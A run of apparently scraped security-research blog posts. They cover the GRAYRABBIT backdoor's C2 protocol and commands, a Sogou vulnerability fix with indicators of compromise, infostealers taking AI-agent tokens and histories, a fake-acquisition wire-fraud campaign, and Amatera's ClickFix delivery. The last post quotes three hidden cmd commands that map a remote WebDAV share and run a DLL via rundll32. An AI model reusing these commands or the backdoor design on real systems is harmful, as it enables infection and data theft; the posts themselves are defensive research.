CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
<ul>
<li>0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler</li>
<li>0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system</li>
</ul>

Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>MSG Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NormalMsg</td>
<td>Execute a process silently (CreateProcessW with the payload as a command line)</td>
</tr>
<tr>
<td>1</td>
<td>NormalMsg</td>
<td>Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr)</td>
</tr>
<tr>
<td>2</td>
<td>NormalMsg</td>
<td>No-op / reserved</td>
</tr>
<tr>
<td>3</td>
<td>NormalMsg</td>
<td>Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1)</td>
</tr>
<tr>
<td>4</td>
<td>NormalMsg</td>
<td>Close the interactive shell and terminate its process</td>
</tr>
<tr>
<td>5</td>
<td>NormalMsg</td>
<td>Load a plugin module from the C2 (see below)</td>
</tr>
<tr>
<td>6</td>
<td>NormalMsg</td>
<td>Collect and send system information</td>
</tr>
<tr>
<td>7</td>
<td>NormalMsg</td>
<td>Self-terminate (unload all plugins, then TerminateProcess on the current process)</td>
</tr>
<tr>
<td>8</td>
<td>NormalMsg</td>
<td>No-op / file request acknowledgment (also sent by the client to request a file)</td>
</tr>
<tr>
<td>9</td>
<td>NormalMsg</td>
<td>Upload a local file to the C2 (reads the file path from the payload)</td>
</tr>
<tr>
<td>default</td>
<td>NormalMsg</td>
<td>Dispatch to loaded plugin modules via their vtable handlers</td>
</tr>
</tbody>
</table>
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
<ul>
<li>
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
</li>
<li>
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
</li>
</ul>
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as &lt;ip_address&gt;+&lt;hostname&gt;+&lt;username&gt;+&lt;exename&gt;:&lt;pid&gt; and sent to the C2 upon successful connection.
<h2>Disclosure Timeline and Fix</h2>
<ul>
<li>
April 9, 2026: Vulnerability reported to Tencent (<a href="mailto:security@tencent.com">security@tencent.com</a>) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
</li>
<li>
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
</li>
<li>
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
</li>
<li>
May 4, 2026: CVE ID requested through MITRE
</li>
<li>
July 10, 2026: MITRE assigns CVE-2026-51990
</li>
</ul>
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
<h2>What was Fixed</h2>
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
<h2>Indicators of Compromise</h2>
File hashes (SHA256)
<ul>
<li>
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Threat Research Team Lead

Our analysis of recent information-stealer collection rules found a much newer category alongside the familiar browser, wallet, and credential targets: local data associated with Claude, Cline, Codex, Continue, Cursor, OpenCode, and other AI-assisted development tools.&nbsp;This was not an isolated experiment: over a three-month period, our Windows telemetry recorded Amatera and Remus detections among tens of thousands of protected users. <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns" target="_blank" rel="noreferrer noopener">Amatera</a> targets data associated with Cline and Continue, while <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a> targets Claude, Cursor, and OpenCode. The figures may overlap and describe detections rather than successful infections, but they show that AI agent data has already entered the information-stealer economy.&nbsp;What the malware is collecting goes far beyond harmless preferences. Depending on the agent and its configuration, local files may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, account details, and traces of the projects a developer has been working on. In one archive, an attacker may obtain both the means to access an account and the context needed to understand what is valuable behind it.&nbsp;Our findings focus primarily on locally installed coding agents and agentic developer tools, and they do not point to a new way of compromising the device or to a vulnerability in an AI model or agent. The information stealer is already running; what has changed is the concentration of valuable information in predictable locations, sometimes in plaintext, and the ease with which those locations can be added to an existing collection list.&nbsp;<h2 class="text-align-justify">The collection rules have already changed&nbsp;</h2>CallbackBeaver, a fast-emerging stealer, has added Cursor and Claude to its collection scope, and we observed more than 5,000 samples during a recent 30-day period. Lower-prevalence families, including BeeStealer, STG Stealer, HydraStealer, APEX Stealer, and Otter Stealer, show that the behavior is spreading beyond one or two larger operations The pace of adoption is striking, with AI agent data appearing in the collection rules of another stealer almost every day.&nbsp;The same behavior is visible across operating systems, with Djinn Stealer on macOS associated with collecting data from Claude, Codex, Gemini, Cline, OpenCode, and Kilo.&nbsp;The reconstructed rules below show how directly several AI-assisted development tools have been added to a stealer's collection scope. The list is a snapshot rather than a complete map of the ecosystem, but it makes the change visible: agent data is now sitting alongside the targets that information stealers have pursued for years.&nbsp;

The targeting of AI agent data is emerging within a much larger infostealer problem. During the first half of 2026, our telemetry recorded infostealer detections among more than 3.3 million unique protected users, with the monthly number consistently exceeding 500,000. These figures cover all infostealer families, not only those known to target AI agent data, but they show the scale of the ecosystem in which this behavior is spreading.&nbsp;<h2 class="text-align-justify">Access and context in the same archive&nbsp;</h2>An agent's local directory contains far more than interface preferences. The exact files, paths, and protections differ between products, operating systems, and user settings, but the material we found falls into two broad categories: access to accounts and connected services, and context that can compromise a user’s privacy by revealing who they are and what they are working on.&nbsp;Some agents cache access tokens or other login details locally so that the user does not have to authenticate for every session. An access token may let an attacker use the account until it expires, while a refresh token can sometimes be exchanged for new access tokens and extend the window of abuse. Stolen tokens can be used to consume paid API capacity, while working access to an account may be packaged and resold so that someone else can use a commercial AI service at the victim’s expense. The outcome depends on the token's scope, lifetime, and the service's own controls, so stealing a file does not guarantee lasting access, but the file can still be as sensitive as a password store.&nbsp;The <a href="https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro" target="_blank" rel="noreferrer noopener">Model Context Protocol</a>, commonly known as MCP, can extend that access beyond the AI service. It allows an agent to connect to external tools and data sources, and local configurations may include endpoints, headers, environment variables, API keys, or other authentication details. A stolen configuration does not automatically unlock every connected service, because some integrations use short-lived credentials, OS-protected storage, or an interactive authorization flow. Where reusable secrets are stored locally, however, the compromise may reach source control, ticketing platforms, databases, cloud services, or collaboration tools connected to the agent, potentially broadening the attack surface.&nbsp;The context can be just as valuable, because developers use AI assistants to review code, interpret logs, troubleshoot incidents, summarize internal documentation, and reason through unfinished work. Their prompts and transcripts can contain proprietary source code, repository names, internal hostnames and API keys or other secrets pasted into a conversation. If an employee has used the assistant while developing a confidential proof of concept, the stolen history could expose an unpatented invention or another trade secret, with consequences far beyond the theft of an AI account. A transcript may also provide reconnaissance that an attacker would otherwise spend days collecting, including the structure of a codebase, known technical problems, security tooling, and the people involved in a project.&nbsp;Local data may also expose an email address, account or organization identifiers, display name, subscription type, billing status, seat tier, rate limits, user preferences, and a history of recent files or projects. None of these fields is as dramatic as a token, but together they can undermine the user’s privacy by building a detailed picture of who they are and what they do. Combined with personal information stolen elsewhere from the device, they may also contribute to identity theft, while helping criminals identify valuable victims and make targeted/spear phishing or extortion attempts more convincing.&nbsp;The danger lies in combining access with context: a browser cookie can open a door, but an AI-agent archive may also tell the attacker whose door it is, which projects are behind it, and which connected systems may be reachable from the same workspace. Incident responders should therefore treat agent credentials and local histories as part of the broader identity and access surface, not as an isolated AI account.&nbsp;<h2 class="text-align-justify">Adding the next agent may take one configuration update&nbsp;</h2>Many information stealers already receive remotely managed collection rules specifying directories, filenames, extensions, databases, search depth, or file-size limits. Once an operator learns where an agent stores useful data, expanding that list can be as simple as adding another path.&nbsp;The malware may not need to be rebuilt or redistributed. An updated rule can be delivered to existing installations, allowing the operator to start collecting a newly popular agent's files across already compromised devices. This does not apply to every stealer, and some tools need product-specific parsing or decryption, but the basic barrier to entry is low when the target is a predictable local file.&nbsp;If a major stealer does not collect a particular agent today, its absence from the list should be treated only as a snapshot, not as evidence that the agent will remain outside the collection scope once criminals see enough users, valuable accounts, or resale demand.&nbsp;<h2 class="text-align-justify">What users and security teams should do&nbsp;</h2>AI-agent data should be included in the same security conversations as browser profiles, developer credentials, password stores, and cloud command-line tools. The response needs to cover both prevention and the actions taken after a suspected stealer infection.&nbsp;<ul type="disc"><li data-list-item-id="e9c8f62b192dd7be1ca6328df6679dcb8">Know what is stored locally. Inventory the agents in use, review their retention and history settings, and understand where they keep credentials, conversations, project records, and MCP configuration.&nbsp;</li><li data-list-item-id="eb7c4958e803b3c580e162cae0d899d6a">Prefer protected credential storage. Where a product offers a choice, use the <a href="https://developers.openai.com/codex/auth" target="_blank" rel="noreferrer noopener">operating system's credential store, keychain, or keyring</a> rather than file-based token storage. A local authentication file containing access tokens should be treated like a password.&nbsp;</li><li data-list-item-id="ed3c578310cc33e114c3aea0bc5f495fe">Keep secrets out of prompts and histories. Avoid pasting passwords, private keys, API secrets, or customer data into a conversation. If a secret has been exposed for troubleshooting, rotate it and remove the retained conversation where possible.&nbsp;</li><li data-list-item-id="e1288f8a1a4ebbb51184460556d34c0db">Limit what connected tools can do. Give MCP integrations only the permissions they need, favor short-lived and narrowly scoped tokens, and separate personal, development, and production access. Review old servers and revoke connections that are no longer used.&nbsp;</li><li data-list-item-id="ea4fc9c9016c9026dbf5d7ada8eee07f6">Protect the endpoint. Keep the operating system and applications updated, use reputable endpoint protection, and be particularly cautious with ClickFix/FakeCaptcha instructions, cracked software, unofficial installers, and other common routes used to deliver information stealers.&nbsp;</li><li data-list-item-id="ea8ebc0cc54527b97295b8e4240320f3c">Expand incident response. After a stealer infection, changing browser passwords alone is no longer enough. From a clean device, revoke AI-service sessions, rotate API keys and other credentials used by MCP connections, review connected applications and account activity, and assess whether local prompts or transcripts exposed company information. Multi-factor authentication remains important, but it may not stop abuse of a session token that has already been stolen.&nbsp;</li></ul><h2 class="text-align-justify">Safer defaults have to come from the products too</h2>Users cannot carry this responsibility alone, so agent developers should minimize the amount of sensitive information kept locally, separate authentication material from ordinary history, use OS-protected credential storage wherever possible, and make retention controls easy to find and understand. Tokens should be short-lived, scoped to the smallest practical set of permissions, and simple to revoke. MCP connections need equally clear visibility, so users and administrators can see what is connected, what it can access, and when it was last used.&nbsp;Encryption at rest can help, but it should not become a reassuring label without a threat model behind it. If the decryption key is stored beside the database, or the application automatically unlocks everything for any process running as the user, an information stealer may still obtain the data. Reducing what is retained and limiting the value and lifetime of credentials are just as important as encrypting the file.&nbsp;AI agents are becoming a new layer of working memory on our devices, storing not only what we ask them, but also who we are, what we are building, and which services we have allowed them to reach. Information stealers have already adjusted their collection rules to reflect that value, and because another agent can sometimes be added with a simple configuration update, the target list will continue to change as adoption grows.&nbsp;Once an AI agent holds credentials, conversation history, and a map of the user’s work, its local files are no longer merely configuration. They have become another high-value data store on the device, and attackers are already treating them that way.&nbsp;

Malware operators are expanding beyond browser passwords and crypto wallets to collect access tokens, MCP configurations, prompt histories and project data stored by AI tools. 

Infostealers Have Found a New Target: Your AI Agent 

Sr Princ Threat Analysis Engineer

It started with an innocent WhatsApp message.“Hi David, I hope you are well. Are you at the office?”The sender claimed to be a real Gen executive based in Dublin. The profile used his name, photograph and an Irish telephone number. Nothing in the opening message mentioned money, urgency or an acquisition. It was simply designed to establish whether the recipient was available and willing to respond.The recipient, whom we will call David, worked in Gen’s legal team and knew the colleague being impersonated. The unfamiliar telephone number raised suspicion, and the first phone conversation confirmed it: the caller’s voice did not match.David knew he was dealing with a scam. Every subsequent message, call and document formed part of a controlled effort to understand how the operation worked and gather evidence about the people behind it.What followed involved a second impersonated identity, forged legal documents, a fictitious confidential acquisition and a request to transfer €626,735.45 to a company in Hong Kong.What began as an attack against Gen’s legal team soon revealed a wider pattern. Our researchers found four additional targeted individuals who had received closely related NDA documents. The companies, advisers and acquisition narratives changed, but the structure, communication rules and document fingerprints remained remarkably consistent.We call the campaign Phantom Deal.<h2>A real person, but neither his number nor his voice</h2>The first persona claimed to be someone from inside the company. The attacker had selected an identity that made sense in the context of Gen’s international operations and used a phone number with the correct country code to reinforce the illusion.The deception did not survive the first call. David knew the person being impersonated, and the voice on the other end was not his.After the initial exchange, a second person entered the conversation. This time, the attacker impersonated a genuine professional associated with PwC and asked the target to provide a private email address.That request was not incidental.The forged NDA that followed instructed the recipient to keep all communication related to the acquisition on WhatsApp and personal email. The attackers tried to keep the entire exchange outside corporate communication channels before introducing any payment request.The attackers had also studied Gen’s history. The acquisition narrative referenced Avast Software and NortonLifeLock Ireland Limited, drawing on the real acquisition of Avast by NortonLifeLock in 2022 and the subsequent creation of Gen Digital. The names were familiar, the corporate relationship had existed, and an intercompany transaction could appear plausible to someone operating under pressure and secrecy.This was not a generic message sent to thousands of employees. The story had been adapted to its target. The targeting was tailored, but the execution was not flawless. David quickly identified inconsistencies in the explanation for why Avast should make a payment on behalf of NortonLifeLock Ireland Limited. His legal background and familiarity with internal transaction processes made those gaps easier to spot. A more coherent payment narrative could have made the same playbook considerably more convincing.

<h2>The NDA was not supporting material</h2>The next stage was a professional-looking NDA branded as a document from PwC.Fake legal documents are common in corporate fraud, but the NDA served a more important role than simply making the acquisition story look credible. It established the rules under which the victim was expected to operate.The document introduced a confidential acquisition, imposed a strict disclosure regime and set a near-term date for the supposed public announcement. Most importantly, it required communication to take place through WhatsApp and personal email.Under normal circumstances, instructions to avoid company systems and exclude colleagues from a major transaction would be obvious warning signs. Inside the fiction created by the NDA, the same behaviour could be presented as a legal obligation.The attackers were attempting to turn the company’s own confidentiality culture against it.The target was encouraged not to involve colleagues, not to discuss the transaction through normal channels and not to verify the instructions with Legal, Finance, Treasury, Compliance or Corporate Development. A recipient who treated the NDA as genuine would become increasingly isolated from the colleagues most likely to challenge the story.The NDA was not an accessory to the attack. It was the payload.

<h2>A deal that had to remain secret</h2>The attackers presented the acquisition as a tightly controlled transaction coordinated by a reputable adviser, with only a small group involved and an announcement approaching fast.The victim was told that the transaction would become public on June 19, 2026. The NDA had been presented only days earlier.That short window created pressure while providing a ready-made explanation for why the operation could not be discussed more broadly.The supposed adviser then sent payment instructions asking Avast Software s.r.o. to transfer money on behalf of NortonLifeLock Ireland Limited.The amount was precise: €626,735.45.The beneficiary was a company in Hong Kong, with the payment described as an “Advance Retainer for Professional Services.” The document stated that the amount would be recorded as an intercompany receivable and reimbursed when the acquisition was formally announced.It was a classic advance-payment fraud wrapped in the language of M&amp;A, legal privilege and internal corporate accounting.<h2>“I need a SWIFT MT103”</h2>Once the payment instructions had been delivered, the tone changed.The attacker began following up for confirmation that the transfer had been completed. The target was asked to provide a SWIFT MT103, the banking message used as evidence that an international transfer has been executed.“I need a swift MT103, it’s an official proof of wire transfer to attached to the package.”Later, after receiving what appeared to be a confirmation email, the attacker complained that the link would not open and asked for the document as a PDF. He then added another requirement: the confirmation should contain the UETR number, a unique reference used to track a payment through the SWIFT network.The request for the MT103 and UETR confirmed the objective. The attackers wanted proof that the funds were moving and the information needed to monitor the transfer, potentially reducing the time available for the company or its bank to intervene.

<h2>Turning the attack into intelligence</h2>Once David had identified the scam, the objective shifted from verification to intelligence gathering. Working with our researchers, he continued the exchange while the team controlled the material being sent and monitored how the operation responded.A fake account statement was prepared, showing what appeared to be the requested payment and the remaining company balance. The document contained a hidden marker that could identify whether it was opened on a system protected by one of our products.When the attackers requested formal MT103 confirmation, the team also created a fake Citibank-style confirmation email. It contained the transaction amount, beneficiary and payment reference expected by the criminals, together with a link to view the full transaction details.The link did not lead to real banking information. It contained a canary token, allowing our researchers to record when it was opened.When he reported that the link was not working, the team suggested that his VPN might be causing the problem and asked him to disable it. Further access attempts followed within minutes.The token recorded 49 HTTP requests from 43 IP addresses over 24 days. Most of the activity in the first minutes came from automated scanners, cloud services and redirect-analysis systems, so the raw count does not represent 49 actions by the attacker.After filtering that noise, the remaining data showed repeated interaction through VPNs, proxy services and several non-hosting internet connections. Some visits were separated by hours or days and used different browser profiles, behaviour consistent with a person returning to the link and attempting to retrieve the promised payment information.The network data helped us separate scanner traffic, proxy infrastructure and repeated manual access, but it was not enough to attribute the operation. Some later visits came from ordinary ISP ranges, although those connections show where the traffic exited, not necessarily where the fraudsters were located.&nbsp;The later visits showed repeated manual access by someone connected to the fraud operation, including long after the supposed transfer should have been completed.

<h2>From one attack to a wider campaign</h2>The controlled interaction gave us visibility into the live fraud attempt, while the forged NDA gave us something else: a set of document fingerprints we could hunt for.Using its structure, wording and embedded identifiers, the team found four additional NDA samples connected to other targeted individuals.The organizations and professions varied. The targets included senior people in private equity, industrial finance, sales, mining and energy. For each of them, an acquisition or strategic investment narrative would have been credible enough to justify initial engagement.The advisers also changed. Some documents impersonated PwC, while others used KPMG or Ogier branding. There is no indication that any of these firms were compromised or involved in the operation. Their names and identities were being abused to make the documents appear legitimate.Despite the different branding, the documents followed substantially the same sequence of sections and reused the same legal language. They all imposed confidentiality, directed communications towards WhatsApp and personal email, and introduced a short period between the NDA date and the supposed public announcement.They also contained the same unusual numeric identifier across documents attributed to different firms and prepared for unrelated recipients. This kind of residue is common when criminals reuse document templates. Names, dates, logos and transaction references may be changed, while less visible elements remain untouched.The repeated structure suggests that the attackers were not building each operation from scratch. They had developed a reusable M&amp;A fraud package that could be adapted to different people and companies.In the Gen case, we observed the complete chain, from WhatsApp contact to payment request and demand for MT103 confirmation. For the other four targets, we found the malicious NDA documents carrying the same core narrative and document fingerprints, but did not observe the later payment stage.Taken together, the evidence points to a wider M&amp;A-themed fraud campaign built around the same narrative and document toolkit. It does not establish that every target received identical payment instructions or that every document was operated by the same individual.<h2>No malware, no compromised mailbox</h2>Phantom Deal did not require an exploit, malicious attachment or stolen corporate email account.The operation drew on publicly available information, real names, photographs, company history and familiar business procedures. WhatsApp made the contact immediate, the forged NDA justified secrecy, and the acquisition narrative created the urgency needed to move the victim towards payment. The financial request appeared only after the surrounding story had been established.A security team searching only for malware or suspicious email links could miss the entire operation.The attack was designed to induce a process failure rather than exploit a technical vulnerability. The criminals attempted to convince the target that bypassing normal controls was necessary to protect a confidential deal.The warning signs appeared well before the Hong Kong bank account. Keeping a sensitive corporate transaction on WhatsApp and personal email was already enough to require independent verification.<h2>How companies can interrupt the chain</h2>Confidential transactions require restricted access, but secrecy should never remove independent verification.Organizations can reduce exposure by establishing a small number of rules that apply even to the most sensitive acquisitions, investments and restructuring projects:<ul type="disc"><li data-list-item-id="e79a03ebdcc50053e9752b64215ac6d0d">Payment instructions must be verified through an independently established channel, not through contact details supplied during the transaction.</li><li data-list-item-id="e56458281a15b902c959078fd579c2999">No executive, adviser or board member should be able to override payment controls through WhatsApp, personal email or a confidentiality claim.</li><li data-list-item-id="e18c724391af3cb0258190c8ed3abd5c9">Legal, Finance, Treasury and Corporate Development teams should have a defined escalation route for unexpected transaction requests.</li><li data-list-item-id="e14239b646035ac07ac66d03bc0296926">Staff involved in payments should be trained to recognize requests for MT103 documents, UETR references and other confirmation data as part of the fraud chain, not merely as administrative follow-up.</li><li data-list-item-id="ea23d5cfe13818e8eefd6ca3cdb93d591">External advisers should be contacted using verified directory information whenever their identity or instructions are in doubt.</li><li class="ck-list-marker-bold" data-list-item-id="edfd65aefb0bda3b6fe5bc0523c729c49">Changes of communication channel, especially from corporate systems to private accounts, should trigger additional scrutiny.</li></ul>The same rules must apply when the request appears to come from the CEO, a board member or someone already known to the recipient.<h3>An NDA can limit who is told about a transaction. It should never prevent the transaction from being authenticated.</h3><h2>Real details, false transaction</h2>Phantom Deal drew credibility from genuine information. The people, companies and advisers were real, as was the acquisition history connecting Gen and Avast. International payments, professional retainers and intercompany receivables are also normal elements of large corporate transactions.The transaction tying those details together was fabricated, and the execution was uneven. The caller’s voice did not match the colleague being impersonated, while the explanation for the payment contained inconsistencies that a lawyer familiar with the company’s processes could identify quickly. A more coherent story might have been considerably more dangerous.Why try this against a security company? Probably for the same reason they try it anywhere else: a security company is still a company. It has money, confidential transactions and employees whose jobs do not involve analysing scams. The attackers were not trying to defeat our security technology. They were trying to find one person who might accept the story and step outside the normal process.In this case, they chose someone who knew the colleague, recognized that the voice did not match and understood that the payment explanation made no sense. From that moment, the supposed victim was no longer following their script. He was helping us investigate it.There is also some irony in how it ended. After spending days building a narrative around trust, secrecy and urgency, someone connected to the fraud operation repeatedly interacted with the fake payment confirmation we placed in front of them.The NDA was intended to keep the operation confidential. Its reused language, structure and identifiers ultimately helped expose the campaign behind it.

Attackers posed as executives, moved conversations to WhatsApp and personal email, and forged acquisition documents to set up international wire transfers. When they targeted Gen, researchers played along, exposing a wider M&A scam.

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

Threat Researcher at Gen

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake campaigns.
</li>
<li>
Amatera has been actively developed over the past few months and has gradually become one of the most prevalent infostealers in our user base.
</li>
<li>
In this technical blog post, we highlight the changes Amatera has introduced between version 4.0.2 Beta (documented by <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire</a>) and version 4.3.3-alpha1, the latest version at the time of writing.
</li>
<li>
Key changes include enhanced static obfuscation, hardened syscall invocation through the WoW64 transition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a redesigned Application-Bound Encryption bypass.
</li>
</ul>

<h2>Introduction</h2>
Over the past few months, Amatera Stealer (also often referred to as ACR Stealer) has been actively developed and has gradually become one of the most prevalent infostealer in our user base. Most recently, we've been observing Amatera being distributed via ClearFake campaigns leveraging FakeCaptchas.
Although FakeCaptcha, as a technique, is well-known and has been documented countless times, it has proven to be one of the most effective social engineering techniques for luring victims into infecting their own machines, which is why we still keep seeing it so often in malware campaigns, and why we proactively defend against these types of attacks with our <a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard protection</a>.
In the case of ClearFake campaings, FakeCaptchas are served through compromised, legitimate websites, via injected malicious JavaScripts that overlay a fake CAPTCHA verification on top of the real website. Once the visitor clicks on the "I'm not a robot" checkbox, they're walked through the well-known ClickFix flow, where a malicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run dialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of Amatera.

As for the aforementioned injected JavaScript, it is embedded in the webpage as a Base64-encoded blob. The blob contains obfuscated JavaScript whose purpose is to retrieve another JavaScript from a smart contract stored on a blockchain (a technique known as EtherHiding), and dynamically execute the retrieved code. Through several subsequent stages, the retrieved code performs additional checks and ultimately injects a fake CAPTCHA into the compromised webpage.

Since the whole chain of how the fake CAPTCHA reaches the webpage has already been documented by <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">Expel</a>, we do not cover it further here. Interested readers can refer to <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">their article</a>. Instead, we focus on what happens when the user executes the copied command.
The clipboard commands follow a consistent pattern: they use <code>conhost</code> to launch a hidden <code>cmd</code> process, map a remote WebDAV share using <code>pushd</code>, and finally invoke the <code>Run</code> export of the downloaded DLL (WordlistLoader) via <code>rundll32</code>.
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\kudbwiw\[.\]shop-nitrilean.com!s!\96fd1e29-81b3-4b81-9231-2c7e2f78ae48 &amp; r^undl^l32 gmwmvymdzgqgptwvbslq.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\nqhuew\[.\]shop-thyrafemmebalance.com!s!\34fe76b7-73a8-42f7-bfc0-089b5069cff7 &amp; ru^ndl^l32 azjsbxanuofzndqtmtlv.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\lldoxqa\[.\]shop-nitrilean.com!s!\df696b95-bdff-48c0-94da-68eb6598a012 &amp; r^undl^l32 dldwwqhuxbpvaqeyylar.dll,Run"</code>
This pattern closely resembles campaigns recently documented by <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/#campaign-1-webdav-based-clickfix-with-python-loaders-and-blockchain-c2">Microsoft</a>, suggesting an evolution of the distribution chain, with the operators using a similar delivery mechanism while replacing the Python-based loaders with WordlistLoader.

<h2>WordlistLoader</h2>
